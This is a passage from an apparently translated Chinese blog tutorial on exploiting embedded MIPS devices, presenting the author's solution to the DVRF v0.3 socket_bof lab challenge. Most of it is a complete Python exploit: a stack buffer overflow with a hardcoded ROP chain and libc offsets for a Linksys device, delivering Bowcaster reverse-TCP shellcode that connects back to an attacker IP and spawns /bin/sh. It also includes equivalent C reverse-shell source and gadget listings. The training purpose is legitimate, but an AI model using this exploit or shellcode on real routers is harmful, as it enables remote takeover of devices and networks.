一旦我们建立好了自己的ROP链,所需要做的就是替换可以通过cat /proc/[pid]/maps找到的libc地址。在这里,我们就需要用到基地址。如果ROP链可以在QEMU中正常工作,那么就有99%的可能性能在实际的设备上正常工作。
5. DVRFv0.3 socket_bof解决方案
在我设计DVRF项目的过程中,我就深刻体会到最常见的漏洞就是基于栈的缓冲区溢出漏洞,如果你不熟悉ASM,可能理解起来会有一定的难度。
因为我仍然在学习MIPS汇编,下面的漏洞利用代码大约花费了8小时才完成,然而这个漏洞利用是在QEMU中实现的,随后在Linksys设备上进行。
import socket, sys , base64, struct, string, time
from getopt import getopt as GetOpt, GetoptError
def usage():
print ""
print "Socket_bof solution for DVRF_v03"
print "By: Elvis Collado [b1ack0wl]"
print ""
print "Usage: %s -s source.ip -d dst.ip -p dst.port" % sys.argv[0]
print ""
print "t-s Connect back IP"
print "t-d Destination IP of Socket Listener"
print "t-p Destination Port that socket_bof is listening on"
print "t-h Print this Help Menu"
print ""
sys.exit(1)
try:
(opts, args) = GetOpt(sys.argv[1:], 's:d:p:h')
except GetoptError, e:
usage()
for opt, arg in opts:
if opt == "-s":
connectback_ip = arg.split(".")
for a in connectback_ip:
if int(a) == 0:
print "IP cannot have NULL Bytes :("
sys.exit(1)
IP_1= struct.pack("<B",int(connectback_ip[0]))
IP_2= struct.pack("<B",int(connectback_ip[1]))
IP_3= struct.pack("<B",int(connectback_ip[2]))
IP_4= struct.pack("<B",int(connectback_ip[3]))
elif opt == "-d":
host = arg
elif opt == "-p":
port = int(arg)
else:
continue
try:
#create an AF_INET, STREAM socket (TCP)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except socket.error, msg:
print 'Failed to create socket. Error code: ' + str(msg[0]) + ' , Error message : ' + msg[1]
sys.exit();
try:
remote_ip = socket.gethostbyname( host )
except socket.gaierror:
#could not resolve
print 'Hostname could not be resolved. Exiting'
sys.exit()
#Connect to remote server
s.connect((remote_ip , port))
# Shellcode From bowcaster
shellcode = string.join([
"xfaxffx0fx24", # li t7,-6
"x27x78xe0x01", # nor t7,t7,zero
"xfdxffxe4x21", # addi a0,t7,-3
"xfdxffxe5x21", # addi a1,t7,-3
"xffxffx06x28", # slti a2,zero,-1
"x57x10x02x24", # li v0,4183
"x0cx01x01x01", # syscall 0x40404
"xffxffxa2xaf", # sw v0,-1(sp)
"xffxffxa4x8f", # lw a0,-1(sp)
"xfdxffx0fx3c", # lui t7,0xfffd
"x27x78xe0x01", # nor t7,t7,zero
"xe0xffxafxaf", # sw t7,-32(sp)
# Connect back port 8080
"x1fx90x0ex3c", # lui t6,0x901f
"x1fx90xcex35", # ori t6,t6,0x901f
"xe4xffxaexaf", # sw t6,-28(sp)
# IP Address
IP_3+IP_4+"x0ex3c", # lui t6,<ip>
IP_1+IP_2+"xcex35", # ori t6,t6,<ip>
"xe6xffxaexaf", # sw t6,-26(sp)
"xe2xffxa5x27", # addiu a1,sp,-30
"xefxffx0cx24", # li t4,-17
"x27x30x80x01", # nor a2,t4,zero
"x4ax10x02x24", # li v0,4170
"x0cx01x01x01", # syscall 0x40404
"xfdxffx0fx24", # li t7,-3
"x27x78xe0x01", # nor t7,t7,zero
"xffxffxa4x8f", # lw a0,-1(sp)
"x21x28xe0x01", # move a1,t7
"xdfx0fx02x24", # li v0,4063
"x0cx01x01x01", # syscall 0x40404
"xffxffx10x24", # li s0,-1
"xffxffxefx21", # addi t7,t7,-1
"xfaxffxf0x15", # bne t7,s0,68 <dup2_loop>
"xffxffx06x28", # slti a2,zero,-1
"x62x69x0fx3c", # lui t7,0x6962
"x2fx2fxefx35", # ori t7,t7,0x2f2f
"xecxffxafxaf", # sw t7,-20(sp)
"x73x68x0ex3c", # lui t6,0x6873
"x6ex2fxcex35", # ori t6,t6,0x2f6e
"xf0xffxaexaf", # sw t6,-16(sp)
"xf4xffxa0xaf", # sw zero,-12(sp)
"xecxffxa4x27", # addiu a0,sp,-20
"xf8xffxa4xaf", # sw a0,-8(sp)
"xfcxffxa0xaf", # sw zero,-4(sp)
"xf8xffxa5x27", # addiu a1,sp,-8
"xabx0fx02x24", # li v0,4011
"x0cx01x01x01" # syscall 0x40404
], '')
# sleep = 0x767142b0 qemu
# sleep = 0x2ab6d2b0 device
# libraries and offsets
libc = 0x2ab3e000 #0x766e5000 #0x2ab3e000 #
sleep_offset = 0x0002f2b0
rop1_offset = 0x000377cc # to get s1 and s0
rop2_offset = 0x000189ec # move t9, s0 jalr t9, nop
rop3_offset = 0x00033d8c # sp into a1
rop4_offset = 0x0001fbcc # a1 into t9 then jump to t9
# Craft Exploit
message = "A" * 51 # Padding
message += struct.pack("<L", libc+rop1_offset) # RA rop1
message += "B" * 40 # padding for lw offset
#Gadget 2 - sleep
message += struct.pack("<L", libc+sleep_offset) #s0 0x28
message += "MMMM" #s1 0x2c
message += struct.pack("<L", libc+rop2_offset) #ra 0x30
# Gadget 3
message += "C" * 60
message += "0" * 4 # s0
message += "1" * 4 # s1
message += "2" * 4 # s2
message += "3" * 4 # s3
message += "4" * 4 # s4
message += struct.pack("<L", libc+rop3_offset) # RA
# Gadget 4
message += "D" * (72-48)
# XOR s0, s0
message += struct.pack("<L",0x02108026) #xor s0 s0
message += struct.pack("<L",0x02b5a826)
message += struct.pack("<L",0x02b5a826)
message += struct.pack("<L", 0xafb0fff8) # sw s0, -8(sp)
#One more Sleep for 5 seconds
# nop to shellcode
message += struct.pack("<L",0x02b5a826) * 8 # xor s5,s5
message += struct.pack("<L", libc+rop4_offset) # RA then null
message += struct.pack("<L", 0xafa0fffc) # sw s0, -4(sp)
message += shellcode
'''
# a0 for sleep is 5 - first gadget
Gadget 1
0x000377cc 3000bf8f lw ra, 0x30(sp)
0x000377d0 2c00b18f lw s1, 0x2c(sp)
0x000377d4 2800b08f lw s0, 0x28(sp)
0x000377d8 0800e003 jr ra
Gadget 2
0x000189ec 21c80002 move t9, s0
0x000189f0 09f82003 jalr t9
0x000189f4 01000524 addiu a1, zero, 1
0x000189f8 02000010 b 0x18a04
Gadget 3
0x00033d8c 1800a527 addiu a1, sp, 0x18
0x00033d90 1000bc8f lw gp, 0x10(sp)
0x00033d94 4800bf8f lw ra, 0x48(sp)
0x00033d98 0800e003 jr ra
Gadget 4
0x0001fbcc 21c8a000 move t9, a1
0x0001fbd0 38008424 addiu a0, a0, 0x38
0x0001fbd4 08002003 jr t9
'''
try :
#Set the whole string
s.sendall(message)
except socket.error:
#Send failed
print 'Send failed'
sys.exit()
print 'Exploit Sent - Check your netcat listener in about 5 seconds.'
s.close()
由于栈是可执行的,并且库的地址并不会发生位移,所以我们可以对ROP链进行硬编码,但最终我们要将$SP内的值移动到可以调用的寄存器中。在我看来,硬编码栈地址是不可靠的,我更喜欢使用偏移量。下面是可攻破二进制的map输出结果:
# ./socket_bof 8888 &
Binding to port 8888
11554
# cat /proc/11554/maps
00400000-00402000 r-xp 00000000 1f:02 218 /pwnable/ShellCode_Required/socket_bof
00441000-00442000 rw-p 00001000 1f:02 218 /pwnable/ShellCode_Required/socket_bof
2aaa8000-2aaad000 r-xp 00000000 1f:02 440 /lib/ld-uClibc.so.0
2aaad000-2aaae000 rw-p 2aaad000 00:00 0
2aaec000-2aaed000 r--p 00004000 1f:02 440 /lib/ld-uClibc.so.0
2aaed000-2aaee000 rw-p 00005000 1f:02 440 /lib/ld-uClibc.so.0
2aaee000-2aafe000 r-xp 00000000 1f:02 445 /lib/libgcc_s.so.1
2aafe000-2ab3d000 ---p 2aafe000 00:00 0
2ab3d000-2ab3e000 rw-p 0000f000 1f:02 445 /lib/libgcc_s.so.1
2ab3e000-2ab79000 r-xp 00000000 1f:02 444 /lib/libc.so.0
2ab79000-2abb9000 ---p 2ab79000 00:00 0
2abb9000-2abba000 rw-p 0003b000 1f:02 444 /lib/libc.so.0
2abba000-2abbe000 rw-p 2abba000 00:00 0
7f81e000-7f833000 rwxp 7f81e000 00:00 0 [stack]
请注意:本来我已经打算自己去写Shellcode,但是我发现有一个名为Bowcaster的项目,并且它有现成的Shellcode。然而,为了展示这个过程,我会将C代码独立出来。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(void) {
int sockfd;
int lportno = 8080; // listener port
struct sockaddr_in serv_addr;
char *const params[] = {"/bin/sh",NULL};
char *const environ[] = {NULL};
sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
serv_addr.sin_family = AF_INET; // 2
serv_addr.sin_addr.s_addr = inet_addr("192.168.1.120"); // RHOST
serv_addr.sin_port = htons(lportno);
connect(sockfd, (struct sockaddr *) &serv_addr, 16);
// redirect stdout and stderr
dup2(sockfd,0); // stdin
dup2(0,1); // stdout
dup2(0,2); // stderr
execve("/bin/sh",params,environ);
}
如果我们查看Bowcaster Reverse_TCP的Shellcode,会发现上面的C代码和Bowcaster的Shellcode是相同的。
shellcode = string.join([
"xfaxffx0fx24", # li t7,-6
"x27x78xe0x01", # nor t7,t7,zero
"xfdxffxe4x21", # addi a0,t7,-3
"xfdxffxe5x21", # addi a1,t7,-3
"xffxffx06x28", # slti a2,zero,-1
# Socket SYSCall
"x57x10x02x24", # li v0,4183
"x0cx01x01x01", # syscall 0x40404
"xffxffxa2xaf", # sw v0,-1(sp)
"xffxffxa4x8f", # lw a0,-1(sp)
"xfdxffx0fx3c", # lui t7,0xfffd
"x27x78xe0x01", # nor t7,t7,zero
"xe0xffxafxaf", # sw t7,-32(sp)
# Connect back port 8080
"x1fx90x0ex3c", # lui t6,0x901f
"x1fx90xcex35", # ori t6,t6,0x901f
"xe4xffxaexaf", # sw t6,-28(sp)
# IP Address
IP_3+IP_4+"x0ex3c", # lui t6,<ip>
IP_1+IP_2+"xcex35", # ori t6,t6,<ip>
"xe6xffxaexaf", # sw t6,-26(sp)
"xe2xffxa5x27", # addiu a1,sp,-30
"xefxffx0cx24", # li t4,-17
"x27x30x80x01", # nor a2,t4,zero
# Socket Connect SYSCALL
"x4ax10x02x24", # li v0,4170
"x0cx01x01x01", # syscall 0x40404
"xfdxffx0fx24", # li t7,-3
"x27x78xe0x01", # nor t7,t7,zero
"xffxffxa4x8f", # lw a0,-1(sp)
"x21x28xe0x01", # move a1,t7
# Dup2 SYSCAL
"xdfx0fx02x24", # li v0,4063
"x0cx01x01x01", # syscall 0x40404
"xffxffx10x24", # li s0,-1
"xffxffxefx21", # addi t7,t7,-1
"xfaxffxf0x15", # bne t7,s0,68 <dup2_loop>
"xffxffx06x28", # slti a2,zero,-1
"x62x69x0fx3c", # lui t7,0x6962
"x2fx2fxefx35", # ori t7,t7,0x2f2f
"xecxffxafxaf", # sw t7,-20(sp)
"x73x68x0ex3c", # lui t6,0x6873
"x6ex2fxcex35", # ori t6,t6,0x2f6e
"xf0xffxaexaf", # sw t6,-16(sp)
"xf4xffxa0xaf", # sw zero,-12(sp)
"xecxffxa4x27", # addiu a0,sp,-20
"xf8xffxa4xaf", # sw a0,-8(sp)
"xfcxffxa0xaf", # sw zero,-4(sp)
"xf8xffxa5x27", # addiu a1,sp,-8
# Execve SYSCALL
"xabx0fx02x24", # li v0,4011
"x0cx01x01x01" # syscall 0x40404
], '')
第一个安装Socket(Syscall w/ Value 4183)
连接到Socket(Syscall w/ Value 4170)
为stdin/stdout重定向调用dup2(Syscall w/ Value 4063)
使用/bin/sh调用Execve(Syscall w/ Value 4011)
我们可以通过查看Radare2中C函数的反汇编内容,来验证系统调用。接下来,我们将继续验证Socket系统调用。
=-------------------------=
| [0x400680] |
| __GI_socket: |
| (fcn) sym.socket 36 |
| lui gp, 5 |
| addiu gp, gp, -0x6600 |
| addu gp, gp, t9 |
| addiu sp, sp, -0x20 |
| sw ra, 0x1c(sp) |
| sw s0, 0x18(sp) |
| sw gp, 0x10(sp) |
| addiu v0, zero, 0x1057 | // Hex 0x1057 is 4183 in decimal
| syscall |
=-------------------------=
我们可以看到,值为4183的系统调用是对C函数socket()的调用。同样,针对所有其他系统调用,我们都以相同的方式进行了验证。
另外请大家注意的一点是,Shellcode并不能100%保证在用户系统的QEMU中能够正常工作。你接下来看到的这个Shellcode,实际行为是进行一个TCP连接,但它并不是交互式Shell,并且出现了一个错误信息。而运行在实际设备上的Shellcode能够按照预期正确执行。
我们有一个简单的方法,可以分析运行期间执行的指令,就是利用Qira。下图中展示了如何让Qira在不需要设置断点的前提下分析二进制文件。
Qira的输出是基于Web的,可以显示出所有已执行的指令和系统调用。
总而言之,我们在进行漏洞利用时,不一定非要自己造轮子。但我承认,设计自己的Shellcode和Shellcode编码器是一个非常好的练习过程。在决定开天辟地之前,要首先看看有没有可以利用的工具。利用现有的Shellcode并没有什么不妥,特别是如果这个Shellcode足够对付你的目标。但有一点需要注意,在使用之前,一定要对你在网上找到的Shellcode进行谨慎地审计。
6. 参考
Binwalk(提取二进制映像):https://github.com/devttys0/binwalk
Blog- /dev/ttyS0(一位知名嵌入式设备黑客的博客):http://www.devttys0.com/blog/
BowCaster(MIPS漏洞利用框架):https://github.com/zcutlip/bowcaster
Buildroot(编译你自己的uClibc工具链):https://buildroot.org/
QEMU(用于模拟不同CPU架构):http://wiki.qemu.org/Main_Page
Radare2(开源反汇编器):https://github.com/radare/radare2
维基百科GPL:https://en.wikipedia.org/wiki/GNU_General_Public_License
SmashtheStack(战争游戏服务器,其中一部分着重于内存损坏):http://smashthestack.org/
Qira(由Geohot开发的Timeless Debugger):https://github.com/BinaryAnalysisPlatform/qira
Linux MIPS(不错的参考文章):https://www.linux-mips.org/
原文链接:https://p16.praetorian.com/blog/reversing-and-exploiting-embedded-devices-part-1-the-software-stack
发表评论
您还未登录,请先登录。
登录